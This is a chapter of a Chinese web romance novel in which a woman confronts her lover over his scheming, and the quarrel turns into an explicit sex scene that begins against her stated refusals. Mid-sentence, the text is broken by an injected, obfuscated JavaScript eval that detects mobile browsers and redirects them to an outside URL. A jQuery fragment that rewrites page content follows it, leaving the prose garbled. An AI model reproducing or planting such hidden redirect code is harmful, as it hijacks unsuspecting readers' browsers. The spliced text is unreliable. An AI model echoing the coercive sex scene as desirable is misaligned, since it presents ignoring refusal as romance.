17. Chapter 17

作品:《酸雪

    人一旦熬夜或起个大早,睡眠便会整个乱掉。身体在美国,时间却在家乡。睡也不是醒也不是。


    下午补过觉后,李舶青在深夜醒来,如何都睡不着。


    睡不着便临时起意学习,学生嘛,总是有背不完的知识点要记。一学便学到天亮,再回过神来时,整间公寓静悄悄的,只剩下她自己的呼吸声。


    李舶青把全部的灯打开,又打开音响,放几首轻缓的英文歌。终于闹出一点动静,她才敢走到阳台,倚靠着围栏,望着谭岺已经清空的房间,点燃一根烟,持续发呆。


    正出着神,谭岺的电话打了进来。


    “青青!”


    电话一接通,谭岺的尖叫声划破了次元壁,仿佛此刻,她已站在公寓里。


    “怎么了?”李舶青被对面的嗓音吓一跳,急忙灭了手中的烟,回到客厅里。


    “我爸谈恋爱了。”谭岺在电话那头的语气有些死了,“你猜和谁?”


    “我认识吗?”李舶青诧异。


    “是那个女明星梅兰!”谭岺提高嗓门,“她都离过两次婚了还恋爱脑谈恋爱!”


    李舶青握着手机无言。


    恋爱脑吗?不尽然。


    梅兰是离过多次婚没错,外界常常嘲笑她恋爱脑,在事业上升期两次嫁人生子。婚姻破裂后,又灰头土脸地复出。


    在李舶青看来,梅兰的婚姻规划比大部分人清醒。一婚科研教授、二婚国际导演,如果眼下会有三婚……那就是谭氏珠宝掌舵人谭君越。


    仍然是凌驾于娱乐圈的豪门。


    更重要的是,谭氏的唯一继承人,是娱乐八卦头条的常客,不学无术的谭岺。


    沈严舟对梅兰来说,哪怕真的动过真心,也不会成为她的丈夫。


    雀就是雀,永远不会上得了台面。


    “有我在,这个梅兰休想进我谭家的门。”谭岺在电话那头信誓旦旦,“这俩人什么时候勾搭上的我都不知道。藏得太深了。”


    “你沉住气。”李舶青宽慰她,“是已经板上钉钉的事了吗?”


    “那倒没有,是我爸差人送梅兰整套的珠宝系列新品。俩人打情骂俏的聊天记录被我看见了。”谭君越的手机密码多年不变,是谭岺的生日,总是轻松破解。


    “如果不是我发现,估计还要瞒我一阵子。”谭岺接着说。


    “你也别太激进,观察观察再说。”李舶青也没什么解决办法,挂下电话后,心里隐约觉得哪里不对劲。


    梅兰到底是什么时候和谭君越牵上线的呢?


    正有疑惑时,公寓的门被人敲响了。


    天刚蒙蒙亮,李舶青不交朋友,也不给别人地址。她警惕起身,站在客厅里迟迟没有开门。


    手机这时传来嗡嗡的一声震动,是沈严舟的信息送达:「开门。」


    “你怎么在这?”


    开了门,沈严舟带了一束花,歪歪头,和她打招呼。


    “不是你要我彰显诚意吗?”他把花塞给李舶青,“这个点跑了好久才买到的。”


    李舶青没有动身,全然没有请他进门的样子。倒是男人先往屋内一瞥,开玩笑:“不请我进去,是不是藏了别人?”


    李舶青往后退一步,腾出一个空隙来:“请进。”


    客厅很整洁,看得出住在这里的人秩序感很强,就连茶几上堆着的杂志都是按照日期摆放。


    “说吧,到底为什么来?”李舶青才不信他只是因为一句话就大老远飞来纽约。


    大家都是忙人,暧昧和调情是抽空为之才对。


    “好渴,小舟,真的不倒杯水给我吗?”他在岛台前坐下,把玩着台面上按照功能摆放的一排水杯。


    李舶青很中二,杯子都是二次元严肃的马克杯。沈严舟一眼就认得出她常用的是哪个。


    一个印着小猫小狗的杯底,有淡淡的茶垢。


    “喝吧。”李舶青从冰箱里给他拿了瓶气泡水。


    “我要用这个。”他指指面前的杯子。


    李舶青不惯着他,忽略他的意见,转移话题:“你谭氏的代言还好吗?”


    “黄了。”男人淡定地打开气泡水,拿过蓝色水杯,“陈放一句话就让我白干了。”


    意料之中。


    “那梅兰最近和你……”李舶青斟酌着用词,“感情怎么样?”


    水倒进了杯子里,气泡发出微弱的滋滋声,肉眼可见它挣扎的过程。


    “正常。”他回答,“她大女儿很黏我。”


    倒不像是假话,但从沈严舟这张嘴里吐出来总觉得怪怪的。


    “所以她现在不让我去她家了。”沈严舟又扭过头看她,嘴角浮上轻笑,“你很好奇我的感情生活?”


    “你希望我好奇吗?”


    “希望是吃醋,不要是八卦。”


    “梅兰和谭君越的事,你知道多少?”李舶青开门见山。


    “八九成。”沈严舟轻抿一口面前的水,“上次见谭总,他们很聊得来,私底下多约几次也正常。”


    “谭君越从不亲自接待艺人。”李舶青道破,“你是故意的?”


    “故意什么?”沈严舟明知故问。


    “故意把梅兰送到他面前,做个顺水人情?”


    “当然不是。这个人情做完,我代言不照样黄了?”沈严舟淡淡地说,“我只是知道梅兰的择婿标准,想让她早点找到真爱,我好脱身。”


    后半句不知是真是假,李舶青无法从他的表情上判断。


    他总是这样,不管嘴里说什么,都一副任何事与他无关的表情。但他这次的棋,又把谭岺牵扯进去了。


    李舶青意识到,或许连她也曾是一枚棋子。


    算计人,就不能避免地会被人算计。


    男人还想再喝一口水,端着李舶青的水杯,寻找着口红的印记,去间接地接一个吻。


    对面的人见不得他这样镇定,伸手,把水杯抢走了。


    刚刚沉寂下来的水从杯口扬出来,洒在二人的袖口,溅湿桌面。


    “谭岺是我唯一的朋友。”她生气了。


    听到“朋友”两个字,沈严舟的眉眼中卸下了伪装的体面。换上一种看“笨蛋”的眼神看着眼前的李舶青。


    “李舶青。”他不叫她小舟,只是淡淡地喊了她的全名,“我以为你我一样都是利益至上的人,我们彼此吸引,我们只爱自己。你现在是在友情上玩起纯爱了?”


    沈严舟从不相信这世上有任何纯洁的友情,哪怕只是身体维持的关系都比友情坚固。这世上,无论是金钱还是□□的链接,都比虚无缥缈的灵魂挚友来得真切。


    他试图教李舶青明白这个道理。


    “你说什么?”李舶青用一种第一次认识他的眼神看他。


    这个男人不伪装了。他不再礼貌,不再体贴,不再绅士。


    “退一万步来讲,谭君越和梅兰这两个人,若不是各有心思,我也插手不了什么不是吗?”男人起身,走到她面前,“没人可以干涉这件事,她谭大小姐也不行。”


    “你一直在算,救谭岺的时候你就在算。”李舶青脑中的弦绷断了,“不对,知道我和谭岺是朋友的时候就在算了是不是。”


    “你太高估了我,小舟。”男人的语气又缓和下来,用一种众人皆醉他独醒的语气对她进行着开导。


    “谭君越想认识梅兰,不需要任何人引荐。换句话讲,我只是他们桌上的调味剂。”沈严舟淡然,“你虽扮演一只独立的雀,但在陈放那里,你和我的作用是一样的。”


    李舶青没想到他会拿自己做对比,她最厌恶和他比。


    他是因为利益和梅兰在一起,但她不是,她最初是因为爱。


    可是她没办法用“爱”来回击沈严舟,如果被他听到“爱”字,那


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176205|196694||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么获得的回应一定是他更加鄙夷的眼神。


    “他也有冯玺了,不是吗?”男人接着说。


    此话一出,一个清脆的巴掌甩在他的脸上。


    李舶青的脸浮上一层红晕。


    生气时她便这样,咬牙切齿,用一双好看的眼睛去瞪人。


    沈严舟一愣,回头看她,露一副“你是在挠痒吗”的表情,在对方眼中尽显挑衅。


    她扬起手,还想再跟一巴掌,被沈严舟预判方向单手接住。


    随之而来的,是被他揽腰拽到眼前,回敬她一个夸张的吻。


    “别碰我!”李舶青用力推他,却怎么也推不动。天然的力量差异使她无法逃窜。


    沈严舟将她抱起来,走几步路,一边护着她的腰,一边将她用刚刚好的力道扔到沙发上。


    他的外套甩下来,起身解扣子,用力镇压她。低头,又看到她穿着他送的裤子,露出一个胜利者的微笑来。


    他解扣子的动作不停,李舶青伸手狠狠在他颈上留下一巴掌。


    他不觉痛,白皙的皮肤泛起红,嘴上却说着:“我猜,你和我一样,等这一天很久。”


    “滚。”她还沉浸在刚才没吵完的架里,这个男人在用自己的方式结束“战争”。


    他的动作很快,熟练地解开她的内衣,俯身下来时,不忘用外套困住她的双手。随后,以一种绝对的胜利者姿态,居高临下地,抚摸上她的侧腰。


    “这是一只蝴蝶吗?”他的吻落下去,细细路过每一寸。


    她不喜欢这样,因此更要惹怒他,让她知道谁才是更胜一筹的那个。


    在难以控制的呼吸频率里,李舶青克制着叫声,尽量清晰,俯身轻咬在他耳垂,道出了另一个人的名字——“陈放。”


    “谁?”沈严舟的动作一顿。


    奏效了,他很生气。


    在听到这个不属于自己的名字时,沈严舟伸出手掌,侧面抚上李舶青的面颊,拇指用力按在她的唇瓣上。


    “你在叫谁?”他的力道和语气一起加重,从里到外全是警告。


    李舶青露出得逞的笑,扬起的唇在他的手指下微微扯动。


    男人的拇指顺势探进她口中,用力地按在她的舌尖,却被她毫不留情地咬了一口。


    他吃痛松手,却也不会让她好受。


    沈严舟拿过茶几上的手机,一手挟住她的腰,用力压一压,一手不紧不慢拿过她的手机,一个快速的面部解锁。打开微信,拨通一个号码——“你是叫他吗?”


    原本故意叫错名字的李舶青顿时傻眼,急着挣脱他的胳膊,“不要。”


    她的不要全是命令的语气。他不喜欢。


    “求我。”


    男人的手伸得很长,直到李舶青用力挣扎,他干脆把手机放到茶几上她够不到的位置。


    免提,一声一声的铃声伴随着黏稠的水声在客厅里回响。


    “喂?”对面的人接通了,“怎么了?阿青。”


    阿青。


    他一旦叫这个名字,沈严舟便更加用力,恨不得整个人镶嵌进某个领域。


    李舶青咬紧了嘴唇,恨不得咬出血来,见此,沈严舟才肯俯身,送上自己的唇,帮她堵住声音的出口。


    对面迟迟得不到回应,有些敏锐的直觉,“阿青,你身边有谁?”


    “求你了。”沙发上的人搂着他的肩,侧头,小声地顺应了他的要求。


    沈严舟单手扶住她的腰,一个翻身,二人瞬间调换位置。而后满意起身,伸手把电话挂掉,便抱着她往卧室走。


    “走反了。”李舶青像只兔子,整个人挂在沈严舟身上。


    此刻,二人眼中倒没了针锋相对,削减到只剩最原始的情绪。


    “欢迎我吗?小舟。”在进入她的卧房时,沈严舟轻轻问了这么一句。


    欢迎吗?在问谁,问哪里。